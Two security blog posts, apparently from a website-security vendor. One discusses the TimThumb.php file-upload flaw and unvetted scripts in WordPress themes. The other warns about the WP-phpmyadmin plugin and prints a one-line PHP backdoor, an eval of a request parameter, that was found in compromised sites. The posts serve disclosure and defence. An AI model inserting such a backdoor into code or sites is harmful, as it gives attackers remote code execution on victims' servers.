Timthumb.php Security Vulnerability – Just the Tip of the Iceberg

There has been some buzz about a zero day vulnerability found in Timthumb.php that can allow for arbitrary file uploads. Although this is a platform independent issue, it is specially an issue on WordPress where a lot of theme authors choose to include scripts in themes without any extra security measures.

You can read more details about the TimThumb issue here: markmaunder.com

This is definitely an issue, but it’s just the tip of the iceberg. TimThumb is just one of various scripts that are being added to themes/plugins without further vetting, or even incorrectly. Take Uploadify for example, which we’ve recently seen being exploited in very old versions of a popular WordPress theme.

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WP-phpmyadmin WordPress plugin – Delete it now

If you are using the WP-phpmyadmin WordPress plugin, delete it now. We are seeing multiple sites getting hacked through it and we are investigating what is going on.

On all the sites we’ve analyzed, the following code was found inside the wp-phpmyadmin/phpmyadmin/upgrade.php file:

<?php if(isset($_REQUEST["asc"]))eval(stripslashes($_REQUEST["asc"])); ?>

This is not part of the plugin, and should be removed immediately!

The code snippet above is a backdoor and allows remote access to the affected sites with it installed.

We also noticed that it was removed from the WordPress plugin repository (originally here: wordpress.org/extend/plugins/wp-phpmyadmin/ ) and is no longer maintained (last update in 2007). Since it is not longer being updated, you shouldn’t be using it anymore.

EDIT: We had an opportunity to catch up with Andrew Nacin, a WordPress Core Member who stated:

The reason it had been pulled from the directory was that it had phpMyAdmin setup files in it, which can expose server information.

So the plugin wasn’t removed because of any security issue, but because of the recent weird activity and due to the fact that it is not maintained, we recommend deleting it as soon as possible.


If you’re seeing anything out of the ordinary, please let us know. If we find anything else, we will update the post.

If you are not sure if your site got hacked, you can scan it here: http://sitecheck.sucuri.net.